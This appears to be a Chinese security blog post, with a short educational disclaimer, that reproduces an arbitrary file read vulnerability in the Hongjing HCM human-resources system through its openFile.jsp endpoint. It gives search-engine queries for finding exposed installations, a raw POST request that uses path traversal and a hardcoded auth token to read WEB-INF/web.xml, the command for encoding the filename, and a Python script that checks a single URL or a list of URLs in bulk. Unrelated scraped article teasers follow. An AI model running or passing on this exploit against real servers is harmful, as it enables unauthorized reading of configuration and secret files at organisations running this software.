【漏洞复现】宏景HCM人力资源信息管理系统——任意文件读取漏洞

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

宏景HCM人力资源信息管理系统是一款全面覆盖人力资源管理各模块的软件,其openFile接口存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。

漏洞复现

1)资产测绘,信息收集
fofa:app="HJSOFT-HCM"
hunter:app.name="宏景 HCM"
在这里插入图片描述
天道酬勤!!
在这里插入图片描述

2)构造数据包

POST /templates/attestation/../../general/muster/hmuster/openFile.jsp HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
x-auth-token: d9eaeacd5de1008fd43f737c853dcbcb
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

filename=8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP

代码解释
filename这部分需要加密转换,工具:https://github.com/vaycore/HrmsTool
执行命令:java -jar HrmsTool.jar -e ../webapps/hrms/WEB-INF/web.xml

编码前:../webapps/hrms/WEB-INF/web.xml
编码后:8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP

3)神器Yakit发包
在这里插入图片描述

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests  # 导入requests库,用于发送HTTP请求
import argparse  # 导入argparse库,用于解析命令行参数
from requests.exceptions import RequestException  # 导入RequestException,用于处理请求异常
from urllib3.exceptions import InsecureRequestWarning  # 导入InsecureRequestWarning,用于禁用不安全请求警告

# 打印颜色定义
RED = '\033[91m'  # 红色
RESET = '\033[0m'  # 重置颜色

# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    try:
        # 构建攻击URL,尝试利用路径遍历漏洞
        attack_url = url.rstrip('/') + "/templates/attestation/%2e%2e/%2e%2e/general/muster/hmuster/openFile.jsp"
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',  # 设置User-Agent
            'x-auth-token': 'd9eaeacd5de1008fd43f737c853dcbcb',  # 设置伪造的x-auth-token
            'Content-Type': 'application/x-www-form-urlencoded',  # 设置请求内容类型
        }

        # 准备POST请求的数据
        data = {
            'filename': '8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP'  # 尝试读取的文件名
        }
        
        # 向服务器发送POST请求
        response = requests.post(attack_url, headers=headers, data=data, verify=False, timeout=10)  # 不验证SSL证书,设置超时时间

        # 检查响应状态码和响应体中的关键字
        if response.status_code == 200 and 'web-app' in response.text:  # 如果状态码为200并且响应体中包含'web-app'
            print(f"{RED}URL [{url}] 宏景HCM openFile任意文件读取漏洞。{RESET}")  # 打印漏洞信息
        else:
            print(f"URL [{url}] 未发现漏洞。")  # 打印未发现漏洞信息
    except RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")  # 打印请求失败信息

def main():
    parser = argparse.ArgumentParser(description='检查目标URL是否存在宏景HCM openFile任意文件读取漏洞。')  # 解析命令行参数
    parser.add_argument('-u', '--url', help='指定目标URL')  # 添加URL参数
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')  # 添加文件参数

    args = parser.parse_args()  # 解析命令行参数

    if args.url:  # 如果指定了URL
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        check_vulnerability(args.url)  # 检查指定URL的漏洞
    elif args.file:  # 如果指定了文件
        with open(args.file, 'r') as file:  # 打开文件
            urls = file.read().splitlines()  # 读取文件中的URL列表
            for url in urls:
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url  # 确保URL以http://或https://开头
                check_vulnerability(url)  # 检查每个URL的漏洞

if __name__ == '__main__':
    main()  # 程序入口

运行截图

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/754986.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

GPT-4o首次引入!全新图像自动评估基准发布!

目录 01 什么是DreamBench? 02 与人类对齐的自动化评估 03 更全面的个性化数据集 04 实验结果 面对层出不穷的个性化图像生成技术,一个新问题摆在眼前:缺乏统一标准来衡量这些生成的图片是否符合人们的喜好。 对此,来自清华大…

心理辅导平台系统

摘 要 中文本论文基于Java Web技术设计与实现了一个心理辅导平台。通过对国内外心理辅导平台发展现状的调研,本文分析了心理辅导平台的背景与意义,并提出了论文研究内容与创新点。在相关技术介绍部分,对Java Web、SpringBoot、B/S架构、MVC模…

lvs+上一章的内容

书接上回这次加了个keepalived 一、集群与分布式 1.1 集群介绍 **集群(Cluster)**是将多台计算机组合成一个系统,以解决特定问题的计算机集合。集群系统可以分为以下三种类型: **LB(Load Balancing,负载…

Golang | Leetcode Golang题解之第203题移除链表元素

题目: 题解: func removeElements(head *ListNode, val int) *ListNode {dummyHead : &ListNode{Next: head}for tmp : dummyHead; tmp.Next ! nil; {if tmp.Next.Val val {tmp.Next tmp.Next.Next} else {tmp tmp.Next}}return dummyHead.Next …

【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 数字排列游戏(200分) - 三语言AC题解(Python/Java/Cpp)

🍭 大家好这里是清隆学长 ,一枚热爱算法的程序员 ✨ 本系列打算持续跟新华为OD-C/D卷的三语言AC题解 💻 ACM银牌🥈| 多次AK大厂笔试 | 编程一对一辅导 👏 感谢大家的订阅➕ 和 喜欢💗 &#x1f…

【论文复现】——基于LM优化的NDT点云配准算法

目录 一、算法原理1、论文概述2、参考文献二、代码实现三、结果展示本文由CSDN点云侠原创,原文链接,爬虫自重。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫与GPT生成的文章。 一、算法原理 1、论文概述 传统的正态分布变换配准算法处理初始位姿变换相…

修改网络的结构用于预训练

目录 一、模型准备 二、修改结构 1、在网络中添加一层 2、在classifier结点添加一个线性层 3、修改网络中的某一层(features 结点举例) 4、替换网络中的某一层结构(与第3点类似) 5、提取全连接层的输入特征数和输出特征数 6、删除网络…

springboot + Vue前后端项目(第二十一记)

项目实战第二十一记 写在前面1. springboot文件默认传输限制2. 安装视频插件包命令3. 前台Video.vue4. 创建视频播放组件videoDetail.vue5. 路由6. 效果图总结写在最后 写在前面 本篇主要讲解系统集成视频播放插件 1. springboot文件默认传输限制 在application.yml文件中添…

《昇思25天学习打卡营第2天|快速入门》

文章目录 前言:今日所学:1. 数据集处理2. 网络的构建3. 模型训练4. 保存模型5. 加载模型 总体代码与运行结果:1. 总体代码2. 运行结果 前言: 今天是学习打卡的第2天,今天的内容是对MindSpore的一个快速入门&#xff0…

Selenium IDE 的使用指南

Selenium IDE 的使用指南 在自动化测试的领域中,Selenium 是一个广为人知且强大的工具集。而 Selenium IDE 作为其中的一个组件,为测试人员提供了一种便捷且直观的方式来创建和执行自动化测试脚本。 一、Selenium IDE 简介 Selenium IDE 是一个用于录…

第十三章 常用类

一、包装类 1. 包装类的分类 (1)针对八种基本数据类型相应的引用类型—包装类 (2)有了类的特点,就可以调用类中的方法。 2. 包装类和基本数据的转换 jdk5 前的手动装箱和拆箱方式,装箱:基本…

【Qt】信号和槽机制

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; &#x1f525;c系列专栏&#xff1a;C/C零基础到精通 &#x1f525; 给大…

操作系统之《PV操作》【知识点+详细解题过程】

1、并发进程 &#xff1a; 并发的实质是一个处理器在几个进程之间的多路复用&#xff0c;并发是对有限的物理资源强制行使多用户共享&#xff0c;消除计算机部件之间的互等现象&#xff0c;以提高系统资源利用率。 &#xff08;1&#xff09;并发进程——互斥性&#xff1a; 进…

使用Jetpack Compose实现具有多选功能的图片网格

使用Jetpack Compose实现具有多选功能的图片网格 在现代应用中,多选功能是一项常见且重要的需求。例如,Google Photos允许用户轻松选择多个照片进行分享、添加到相册或删除。在本文中,我们将展示如何使用Jetpack Compose实现类似的多选行为,最终效果如下: 主要步骤 实现…

【redis】Redis AOF

1、AOF的基本概念 AOF持久化方式是通过保存Redis所执行的写命令来记录数据库状态的。AOF以日志的形式来记录每个写操作&#xff08;增量保存&#xff09;&#xff0c;将Redis执行过的所有写指令记录下来&#xff08;读操作不记录&#xff09;。AOF文件是一个只追加的文件&…

Redis 高级数据结构业务实践

0、前言 本文所有代码可见 > 【gitee code demo】 本文会涉及 hyperloglog 、GEO、bitmap、布隆过滤器的介绍和业务实践 1、HyperLogLog 1.1、功能 基数统计&#xff08;去重&#xff09; 1.2、redis api 命令作用案例PFADD key element [element ...]添加元素到keyPF…

PortSip测试

安装PBX 下载 免费下载 PortSIP PBX 安装PBX&#xff0c;安装后&#xff0c;运行 &#xff0c;默认用户是admin 密码是admin&#xff0c;然后配置IP 为192.168.0.189 设置域名为192.168.0.189 配置分机 添加分机&#xff0c;添加了10001、10002、9999 三个分机&#xff0c…

深度学习实验第T2周:彩色图片分类

>- **&#x1f368; 本文为[&#x1f517;365天深度学习训练营](https://mp.weixin.qq.com/s/0dvHCaOoFnW8SCp3JpzKxg) 中的学习记录博客** >- **&#x1f356; 原作者&#xff1a;[K同学啊](https://mtyjkh.blog.csdn.net/)** 目录 一、前言 目标 二、我的环境&#…

【Linux进程通信】进程间通信介绍、匿名管道原理分析

目录 进程通信是什么&#xff1f; 进程通信的目的 进程通信的本质 匿名管道&#xff1a;基于文件级别的通信方式 站在文件描述符角度-深度理解管道原理 进程通信是什么&#xff1f; 进程通信就是两个或多个进程之间进行数据层面的交互。 进程通信的目的 1.数据传输&#x…

已解决java.security.acl.LastOwnerException:无法移除最后一个所有者的正确解决方法,亲测有效!!!

已解决java.security.acl.LastOwnerException&#xff1a;无法移除最后一个所有者的正确解决方法&#xff0c;亲测有效&#xff01;&#xff01;&#xff01; 目录 问题分析 出现问题的场景 报错原因 解决思路 解决方法 1. 检查当前所有者数量 2. 添加新的所有者 3. 维…